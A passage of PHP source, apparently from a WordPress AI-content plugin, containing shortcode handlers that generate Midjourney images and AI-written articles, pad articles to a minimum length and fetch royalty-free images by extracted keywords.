($temp_get_img != '') { $temp_get_img = strtok($temp_get_img, '?'); $featured_image = rtrim($temp_get_img, '/'); } } } $post_cats = ''; $post_categories = wp_get_post_categories( $post->ID ); foreach($post_categories as $c){ $cat = get_category( $c ); $post_cats .= $cat->name . ','; } $post_cats = trim($post_cats, ','); if($post_cats != '') { $post_categories = explode(',', $post_cats); } else { $post_categories = array(); } if(count($post_categories) == 0) { $terms = get_the_terms( $post->ID, 'product_cat' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_categories[] = $term->slug; } $post_cats = implode(',', $post_categories); } } $post_tagz = ''; $post_tags = wp_get_post_tags( $post->ID ); foreach($post_tags as $t){ $post_tagz .= $t->name . ','; } $post_tagz = trim($post_tagz, ','); if($post_tagz != '') { $post_tags = explode(',', $post_tagz); } else { $post_tags = array(); } if(count($post_tags) == 0) { $terms = get_the_terms( $post->ID, 'product_tag' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_tags[] = $term->slug; } $post_tagz = implode(',', $post_tags); } } $post_excerpt = $post->post_excerpt; $postID = $post->ID; } else { $post_link = ''; $post_title = ''; $blog_title = html_entity_decode(get_bloginfo('title')); $post_excerpt = ''; $final_content = ''; $user_name = ''; $featured_image = ''; $post_cats = ''; $post_tagz = ''; $postID = ''; } $seed_expre = replaceAIPostShortcodes($seed_expre, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); if (filter_var($seed_expre, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($seed_expre, '.txt')) { $txt_content = aiomatic_get_web_page($seed_expre); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $seed_expre = $txt_content; $seed_expre = replaceAIPostShortcodes($seed_expre, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); } } } } } $md5v = md5($seed_expre . $image_size); $local_now = false; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') { if(isset($post->ID) && $static_content == 'on') { $tranzi = false; } else { $tranzi = get_transient('aiomatic_midjourney_image_transient' . $md5v); } if($tranzi === false) { if (!isset($aiomatic_Main_Settings['midjourney_app_id']) || trim($aiomatic_Main_Settings['midjourney_app_id']) == '') { aiomatic_log_to_file('You need to add a GoAPI API key in plugin settings for this shortcode to work.'); set_transient('aiomatic_midjourney_image_transient' . $md5v, 'not_working', intval($cache_seconds/10)); return ''; } $tranzi = ''; if(strlen($seed_expre) > 2000) { $seed_expre = aiomatic_substr($seed_expre, 0, 2000); } if($image_size == '256x256') { $width = '512'; $height = '512'; } elseif($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } else { $width = '512'; $height = '512'; } $aierror = ''; $get_img = aiomatic_generate_ai_image_midjourney($seed_expre, $width, $height, 'shortcodeMidjourneyImage', true, $aierror); if($get_img !== false) { $tranzi = $get_img; if(!empty($tranzi)) { if($copy_locally == 'on' || $copy_locally == 'wasabi' || $copy_locally == 'amazon' || $copy_locally == 'digital') { $localpath = aiomatic_copy_image_locally('' . $tranzi, $copy_locally); if($localpath !== false) { $tranzi = $localpath[0]; $local_now = true; } } if(!isset($post->ID) || $static_content != 'on') { set_transient('aiomatic_midjourney_image_transient' . $md5v, $tranzi, $cache_seconds); } else { $shortcode_reconstruction = '#\[\s*' . preg_quote($tagx) . '\s*'; foreach($atts as $atx => $vatx) { $shortcode_reconstruction .= ' ' . preg_quote($atx) . '\s*=\s*[\'"]?' . preg_quote($vatx) . '[\'"]?'; } $shortcode_reconstruction .= '\s*\]#i'; preg_match_all($shortcode_reconstruction, $post->post_content, $initmatches); if(isset($initmatches[0][0]) && $initmatches[0][0] != '') { if($local_now == true) { $post->post_content = preg_replace($shortcode_reconstruction, '<img src="' . $tranzi . '">', $post->post_content); } else { $post->post_content = preg_replace($shortcode_reconstruction, '<img src="' . $tranzi . '">', $post->post_content); } remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses'); remove_filter('title_save_pre', 'wp_filter_kses'); wp_update_post($post); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses'); add_filter('title_save_pre', 'wp_filter_kses'); } else { preg_match_all('#\[aiomatic-midjourney-image([^\]]*?)\]#i', $post->post_content, $zamatches); if(isset($zamatches[0][0]) && $zamatches[0][0] != '') { if($local_now == true) { $post->post_content = preg_replace('#\[aiomatic-midjourney-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $post->post_content); } else { $post->post_content = preg_replace('#\[aiomatic-midjourney-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $post->post_content); } remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses'); remove_filter('title_save_pre', 'wp_filter_kses'); wp_update_post($post); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses'); add_filter('title_save_pre', 'wp_filter_kses'); } else { set_transient('aiomatic_midjourney_image_transient' . $md5v, $tranzi, $cache_seconds); } } if($is_elementor) { $elementor_data = get_post_meta($post->ID, '_elementor_data', true); if(!empty($elementor_data)) { $elementor_json = json_decode($elementor_data); if(!empty($elementor_json)) { $changemade = false; for($i = 0; $i < count($elementor_json); $i++) { if($elementor_json[$i]->elType == 'section' || $elementor_json[$i]->elType == 'column') { for($j = 0; $j < count($elementor_json[$i]->elements); $j++) { if($elementor_json[$i]->elements[$j]->elType == 'section' || $elementor_json[$i]->elements[$j]->elType == 'column') { for($k = 0; $k < count($elementor_json[$i]->elements[$j]->elements); $k++) { if($elementor_json[$i]->elements[$j]->elements[$k]->elType == 'widget' && $elementor_json[$i]->elements[$j]->elements[$k]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode)) { $sc = $elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode; if($local_now == true) { $sc = preg_replace('#\[aiomatic-midjourney-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); } else { $sc = preg_replace('#\[aiomatic-midjourney-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); } if($sc != $elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode) { unset($elementor_json[$i]->elements[$j]->elements[$k]->settings->shortcode); $elementor_json[$i]->elements[$j]->elements[$k]->settings->html = $sc; $elementor_json[$i]->elements[$j]->elements[$k]->widgetType = 'html'; $changemade = true; } } } } } else { if($elementor_json[$i]->elements[$j]->elType == 'widget' && $elementor_json[$i]->elements[$j]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->elements[$j]->settings->shortcode)) { $sc = $elementor_json[$i]->elements[$j]->settings->shortcode; if($local_now == true) { $sc = preg_replace('#\[aiomatic-midjourney-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); } else { $sc = preg_replace('#\[aiomatic-midjourney-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); } if($sc != $elementor_json[$i]->elements[$j]->settings->shortcode) { unset($elementor_json[$i]->elements[$j]->settings->shortcode); $elementor_json[$i]->elements[$j]->settings->html = $sc; $elementor_json[$i]->elements[$j]->widgetType = 'html'; $changemade = true; } } } } } } else { if($elementor_json[$i]->elType == 'widget' && $elementor_json[$i]->widgetType == 'shortcode') { if(isset($elementor_json[$i]->settings->shortcode)) { $sc = $elementor_json[$i]->settings->shortcode; if($local_now == true) { $sc = preg_replace('#\[aiomatic-midjourney-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); } else { $sc = preg_replace('#\[aiomatic-midjourney-image([^\]]*?)\]#i', '<img src="' . $tranzi . '">', $sc); } if($sc != $elementor_json[$i]->settings->shortcode) { unset($elementor_json[$i]->settings->shortcode); $elementor_json[$i]->settings->html = $sc; $elementor_json[$i]->widgetType = 'html'; $changemade = true; } } } } } if($changemade == true) { $elementor_data_new = wp_json_encode($elementor_json); $elementor_data_new = trim($elementor_data_new, '"'); if(!empty($elementor_data_new)) { update_post_meta($post->ID, '_elementor_data', $elementor_data_new); } } } } } } } } else { aiomatic_log_to_file('Failed to generate GoAPI (Midjourney) image: ' . $aierror); $get_img = ''; } } } if(!empty($tranzi)) { if($local_now == true) { return '<img src="' . $tranzi . '">'; } else { return '<img src="' . $tranzi . '">'; } } return ''; } add_shortcode("aiomatic-article", "aiomatic_article"); function aiomatic_article($atts, $cont, $tagx) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $is_elementor = false; $post_link = ''; $post_title = ''; $blog_title = html_entity_decode(get_bloginfo('title')); $post_excerpt = ''; $final_content = ''; $user_name = ''; $featured_image = ''; $post_cats = ''; $post_tagz = ''; $postID = ''; $id = ''; $added_img_list = array(); $raw_img_list = array(); $full_result_list = array(); $added_images = 0; $heading_results = array(); $seed_expre = isset( $atts['seed_expre'] )? esc_attr($atts['seed_expre']) : ''; $headings = isset( $atts['headings'] )? esc_attr($atts['headings']) : ''; $images = isset( $atts['images'] )? esc_attr($atts['images']) : ''; $videos = isset( $atts['videos'] )? esc_attr($atts['videos']) : ''; $static_content = isset( $atts['static_content'] )? esc_attr($atts['static_content']) : ''; $temperature = isset( $atts['temperature'] )? esc_attr($atts['temperature']) : '1'; $top_p = isset( $atts['top_p'] )? esc_attr($atts['top_p']) : '1'; $presence_penalty = isset( $atts['presence_penalty'] )? esc_attr($atts['presence_penalty']) : '0'; $frequency_penalty = isset( $atts['frequency_penalty'] )? esc_attr($atts['frequency_penalty']) : '0'; $min_char = isset( $atts['min_char'] )? esc_attr($atts['min_char']) : ''; $max_tokens = isset( $atts['max_tokens'] )? esc_attr($atts['max_tokens']) : AIOMATIC_DEFAULT_MAX_TOKENS; $max_seed_tokens = isset( $atts['max_seed_tokens'] )? esc_attr($atts['max_seed_tokens']) : '500'; $max_continue_tokens = isset( $atts['max_continue_tokens'] )? esc_attr($atts['max_continue_tokens']) : '500'; $model = isset( $atts['model'] )? esc_attr(trim($atts['model'])) : get_default_model_name($aiomatic_Main_Settings); $headings_model = isset( $atts['model'] )? esc_attr(trim($atts['model'])) : get_default_model_name($aiomatic_Main_Settings); $headings_assistant_id = isset( $atts['assistant_id'] )? esc_attr(trim($atts['assistant_id'])) : ''; $assistant_id = isset( $atts['assistant_id'] )? esc_attr(trim($atts['assistant_id'])) : ''; $headings_seed_expre = isset( $atts['headings_seed_expre'] )? esc_attr(trim($atts['headings_seed_expre'])) : 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%'; $cache_seconds = isset( $atts['cache_seconds'] )? intval(esc_attr($atts['cache_seconds'])) : 2592000; $no_internet = isset( $atts['no_internet'] )? esc_attr(trim($atts['no_internet'])) : '0'; if($no_internet == '1' || $no_internet == 'on' || $no_internet == 'yes') { $no_internet = true; } else { $no_internet = false; } $all_models = aiomatic_get_all_models(true); if(!in_array($model, $all_models)) { $model = get_default_model_name($aiomatic_Main_Settings); } if(!in_array($headings_model, $all_models)) { $headings_model = get_default_model_name($aiomatic_Main_Settings); } $max_tokens = intval($max_tokens); if($max_tokens <= 0) { $max_tokens = aiomatic_get_max_tokens($model); } if($max_tokens > aiomatic_get_max_tokens($model)) { $max_tokens = aiomatic_get_max_tokens($model); } $max_seed_tokens = intval($max_seed_tokens); $max_continue_tokens = intval($max_continue_tokens); $post = $GLOBALS['post']; if(empty($seed_expre)) { $exc = get_the_excerpt(); $exc = trim(strip_tags($exc)); $cnt = get_the_content(); $cnt = trim(strip_tags($cnt)); $cnt = strip_shortcodes($cnt); if($cnt != false && !empty($cnt)) { $id = $cnt; } elseif(!empty($exc) && $exc != false) { $id = $exc; } else { $id = get_the_title(); $id = trim(strip_tags($id)); if($id == '') { return ''; } } } else { if(isset($post->ID)) { $post_link = get_permalink($post->ID); if(aiomatic_check_is_elementor($post->ID)) { $is_elementor = true; } $blog_title = html_entity_decode(get_bloginfo('title')); $author_obj = get_user_by('id', $post->post_author); if($author_obj !== false) { $user_name = $author_obj->user_nicename; } $final_content = $post->post_content; $post_title = $post->post_title; $featured_image = ''; wp_suspend_cache_addition(true); $metas = get_post_custom($post->ID); wp_suspend_cache_addition(false); if(is_array($metas)) { $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas); } else { $rez_meta = array(); } if(count($rez_meta) > 0) { foreach($rez_meta as $rm) { if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL)) { $featured_image = $rm[0]; break; } } } if($featured_image == '') { $featured_image = aiomatic_generate_thumbmail($post->ID); } if($featured_image == '' && $final_content != '') { $dom = new DOMDocument(); $internalErrors = libxml_use_internal_errors(true); $dom->loadHTML($final_content); libxml_use_internal_errors($internalErrors); $tags = $dom->getElementsByTagName('img'); foreach ($tags as $tag) { $temp_get_img = $tag->getAttribute('src'); if ($temp_get_img != '') { $temp_get_img = strtok($temp_get_img, '?'); $featured_image = rtrim($temp_get_img, '/'); } } } $post_cats = ''; $post_categories = wp_get_post_categories( $post->ID ); foreach($post_categories as $c){ $cat = get_category( $c ); $post_cats .= $cat->name . ','; } $post_cats = trim($post_cats, ','); if($post_cats != '') { $post_categories = explode(',', $post_cats); } else { $post_categories = array(); } if(count($post_categories) == 0) { $terms = get_the_terms( $post->ID, 'product_cat' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_categories[] = $term->slug; } $post_cats = implode(',', $post_categories); } } $post_tagz = ''; $post_tags = wp_get_post_tags( $post->ID ); foreach($post_tags as $t){ $post_tagz .= $t->name . ','; } $post_tagz = trim($post_tagz, ','); if($post_tagz != '') { $post_tags = explode(',', $post_tagz); } else { $post_tags = array(); } if(count($post_tags) == 0) { $terms = get_the_terms( $post->ID, 'product_tag' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $post_tags[] = $term->slug; } $post_tagz = implode(',', $post_tags); } } $post_excerpt = $post->post_excerpt; $postID = $post->ID; preg_match_all('{%%tax_([^%]+?)%%}', $seed_expre, $taxes); if(isset($taxes[1])) { foreach($taxes[1] as $zatax) { $xterms = get_the_terms( $post->ID, $zatax ); if ( ! empty( $xterms ) && ! is_wp_error( $xterms ) ){ $xpost_cats = array(); foreach ( $xterms as $term ) { $xpost_cats[] = $term->name; } $xtaxes = implode(',', $xpost_cats); $seed_expre = str_replace('%%tax_' . $zatax . '%%', $xtaxes, $seed_expre); } else { $seed_expre = str_replace('%%tax_' . $zatax . '%%', '', $seed_expre); } } } preg_match_all('{%%meta_([^%]+?)%%}', $seed_expre, $metas); if(isset($metas[1])) { foreach($metas[1] as $metasx) { $xmetas = get_post_meta($post->ID, $metasx, true); if ( ! empty( $xmetas ) ){ $seed_expre = str_replace('%%meta_' . $metasx . '%%', $xmetas, $seed_expre); } else { $seed_expre = str_replace('%%meta_' . $metasx . '%%', '', $seed_expre); } } } } $seed_expre = replaceAIPostShortcodes($seed_expre, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); if (filter_var($seed_expre, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($seed_expre, '.txt')) { $txt_content = aiomatic_get_web_page($seed_expre); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $seed_expre = $txt_content; $seed_expre = replaceAIPostShortcodes($seed_expre, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, '', '', '', '', '', ''); } } } } $id = $seed_expre; } $md5v = md5($id . $temperature . $top_p . $presence_penalty . $frequency_penalty . $min_char); if($temperature == '') { $temperature = 1; } else { $temperature = floatval($temperature); } if($top_p == '') { $top_p = 1; } else { $top_p = floatval($top_p); } if($frequency_penalty == '') { $frequency_penalty = 0; } else { $frequency_penalty = floatval($frequency_penalty); } if($presence_penalty == '') { $presence_penalty = 0; } else { $presence_penalty = floatval($presence_penalty); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') { if(isset($post->ID) && $static_content == 'on') { $tranzi = false; } else { $tranzi = get_transient('aiomatic_article_transient' . $md5v); } $new_post_content = ''; if($tranzi === false) { if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to add an API key in plugin settings for this shortcode to work.'); set_transient('aiomatic_article_transient' . $md5v, 'not_working', intval($cache_seconds/10)); return ''; } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; } $aicontent = $id; if(empty($aicontent)) { return ''; } if(strlen($aicontent) > $max_seed_tokens * 4) { $aicontent = aiomatic_substr($aicontent, 0, (0-($max_seed_tokens * 4))); } $aicontent = trim($aicontent); $last_char = aiomatic_substr($aicontent, -1, null); if(!ctype_punct($last_char)) { $aicontent .= '.'; } $query_token_count = count(aiomatic_encode($aicontent)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $aicontent, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($aicontent); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $aicontent = aiomatic_substr($aicontent, 0, $string_len); $aicontent = trim($aicontent); if(empty($aicontent)) { aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($aicontent, true)); return ''; } $query_token_count = count(aiomatic_encode($aicontent)); $available_tokens = $max_tokens - $query_token_count; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $model . ') shortcode for text: ' . $aicontent); } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'shortcodeContentArticle', 0, $finish_reason, $aierror, $no_internet, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file($aierror); set_transient('aiomatic_article_transient' . $md5v, 'not_working', intval($cache_seconds/10)); return ''; } else { $new_post_content = ucfirst(trim(nl2br(trim($generated_text)))); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Successfully got API result for shortcode.'); } if($min_char == '') { $min_char = 0; } else { $min_char = intval($min_char); } $cnt = 1; if(strlen($new_post_content) < $min_char) { if($headings != '' && is_numeric($headings)) { $heading_results = aiomatic_scrape_related_questions($id, $headings, $headings_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $headings_seed_expre, $headings_assistant_id); } } $image_query = ''; $heading_val = ''; $temp_post = ''; $ai_retry = false; $ai_continue_title = $post_title; $img_attr = ''; $query_words = ''; while(strlen(strip_tags($new_post_content)) < $min_char) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) < $cnt) { break; } $query_words = ''; $just_set_fallback = false; $image_query = ''; $heading_val = ''; if(count($heading_results) > 0) { $rand_heading = ''; $saverand = array_rand($heading_results); $rand_heading = $heading_results[$saverand]; unset($heading_results[$saverand]); if(isset($rand_heading['q'])) { $rand_heading['q'] = preg_replace('#^\d+\.([\s\S]*)#i', '$1', $rand_heading['q']); $heading_val = '<h2>' . $rand_heading['q'] . '</h2>' . '<span>' . $rand_heading['a']; $image_query = $rand_heading['q']; } } if($heading_val == '') { $temp_post = trim($new_post_content); } else { $temp_post = trim($heading_val); } if(strlen($temp_post) > $max_continue_tokens * 4) { $negative_contiue_tokens = 0 - ($max_continue_tokens * 4); $newaicontent = aiomatic_substr($temp_post, $negative_contiue_tokens, null); } else { $newaicontent = $temp_post; } $add_me_to_text = ''; if($ai_retry == true) { $just_set_fallback = true; if (isset($aiomatic_Main_Settings['alternate_continue']) && $aiomatic_Main_Settings['alternate_continue'] == 'on') { $newaicontent = $newaicontent . ' ' . $ai_continue_title; } else { $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, 'Write a People Also Asked question related to "' . $ai_continue_title . '"', AIOMATIC_DEFAULT_MAX_TOKENS, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'shortcodeHeadingArticle', 0, $finish_reason, $aierror, $no_internet, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file('Similarity finding failed: ' . $aierror); $newaicontent = $aicontent; } else { $newaicontent = ucfirst(trim(nl2br(trim($generated_text)))); if(empty($newaicontent)) { $newaicontent = $aicontent; } else { $newaicontent = preg_replace('#^\d+\.([\s\S]*)#i', '$1', $newaicontent); $add_me_to_text = '<h3>' . $newaicontent . '</h3> '; $ai_continue_title = $newaicontent; } } } } $ai_retry = false; $newaicontent = trim($newaicontent); $query_token_count = count(aiomatic_encode($newaicontent)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $newaicontent, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($newaicontent); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $newaicontent = aiomatic_substr($newaicontent, 0, $string_len); $newaicontent = trim($newaicontent); if(empty($newaicontent)) { aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($newaicontent, true)); break; } $query_token_count = count(aiomatic_encode($newaicontent)); $available_tokens = $max_tokens - $query_token_count; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $model); aiomatic_log_to_file('Calling ' . $api_service . ' again (' . $cnt . ') from shortcode, to meet minimum character limit: ' . $min_char . ' - current char count: ' . strlen(strip_tags($new_post_content))); } $aiwriter = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $newaicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'shortcodeContentArticle', 0, $finish_reason, $aierror, $no_internet, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file($aierror); break; } else { $aiwriter = $add_me_to_text . ucfirst(trim(nl2br(trim($generated_text)))); } if($aiwriter == '') { $ai_retry = true; if($just_set_fallback == true) { aiomatic_log_to_file('Ending execution, already retried once'); break; } continue; } $add_my_image = ''; $temp_get_img = ''; if($images != '' && is_numeric($images) && $images > $added_images) { if($image_query == '') { $image_query = $temp_post; } if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor') { if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '') { try { if(!class_exists('TextRazor')) { require_once(dirname(__FILE__) . "/res/TextRazor.php"); } TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key'])); $textrazor = new TextRazor(); $textrazor->addExtractor('entities'); $response = $textrazor->analyze($image_query); if (isset($response['response']['entities'])) { foreach ($response['response']['entities'] as $entity) { $query_words = ''; if(isset($entity['entityEnglishId'])) { $query_words = $entity['entityEnglishId']; } else { $query_words = $entity['entityId']; } if($query_words != '') { $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, false, $raw_img_list, array(), $full_result_list); if(!empty($z_img)) { $added_images++; $added_img_list[] = $z_img; $temp_get_img = $z_img; if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Royalty Free Image Generated with help of TextRazor (kw: "' . $query_words . '"): ' . $z_img); } break; } } } } } catch(Exception $e) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage()); } } } } elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai') { if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '') { if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '') { $kw_model = $aiomatic_Main_Settings['keyword_model']; } else { $kw_model = get_default_model_name($aiomatic_Main_Settings); } if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '') { $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id']; } else { $keyword_assistant_id = ''; } $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']); $title_ai_command = str_replace('%%default_post_cats%%', '', $title_ai_command); $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command); $title_ai_command = array_filter($title_ai_command); if(count($title_ai_command) > 0) { $title_ai_command = $title_ai_command[array_rand($title_ai_command)]; } else { $title_ai_command = ''; } $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command); if(!empty($title_ai_command)) { $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', ''); } $title_ai_command = trim($title_ai_command); if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt')) { $txt_content = aiomatic_get_web_page($title_ai_command); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $title_ai_command = $txt_content; $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command); $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', ''); } } } } if(empty($title_ai_command)) { aiomatic_log_to_file('Empty API keyword extractor seed expression provided!'); } else { $title_ai_command = 'Extract a comma separated list of relevant keywords from the text: ' . trim(strip_tags($post_title)); if(strlen($title_ai_command) > $max_seed_tokens * 4) { $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4))); } $title_ai_command = trim($title_ai_command); if(empty($title_ai_command)) { aiomatic_log_to_file('Empty API title seed expression provided(1)! ' . print_r($title_ai_command, true)); } else { $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($title_ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len); $title_ai_command = trim($title_ai_command); $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = $max_tokens - $query_token_count; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $kw_model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $kw_model . ') for title text: ' . $title_ai_command); } $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'shortcodeKeywordArticle', 0, $finish_reason, $aierror, $no_internet, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file('Keyword generator error: ' . $aierror); $ai_title = ''; } else { $ai_title = trim(trim(trim(trim($generated_text), '.'), ' "\'')); $ai_titles = explode(',', $ai_title); foreach($ai_titles as $query_words) { $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, false, $raw_img_list, array(), $full_result_list); if(!empty($z_img)) { $added_images++; $added_img_list[] = $z_img; $temp_get_img = $z_img; if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Royalty Free Image Generated with help of AI (kw: "' . $query_words . '"): ' . $z_img); } break; } } } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $kw_model); aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title); } } } } } if(empty($temp_get_img)) { $keyword_class = new Aiomatic_keywords(); $query_words = $keyword_class->keywords($image_query, 2); $temp_img_attr = ''; $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 10, false, $raw_img_list, array(), $full_result_list); if($temp_get_img == '' || $temp_get_img === false) { $query_words = $keyword_class->keywords($image_query, 1); $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 20, false, $raw_img_list, array(), $full_result_list); 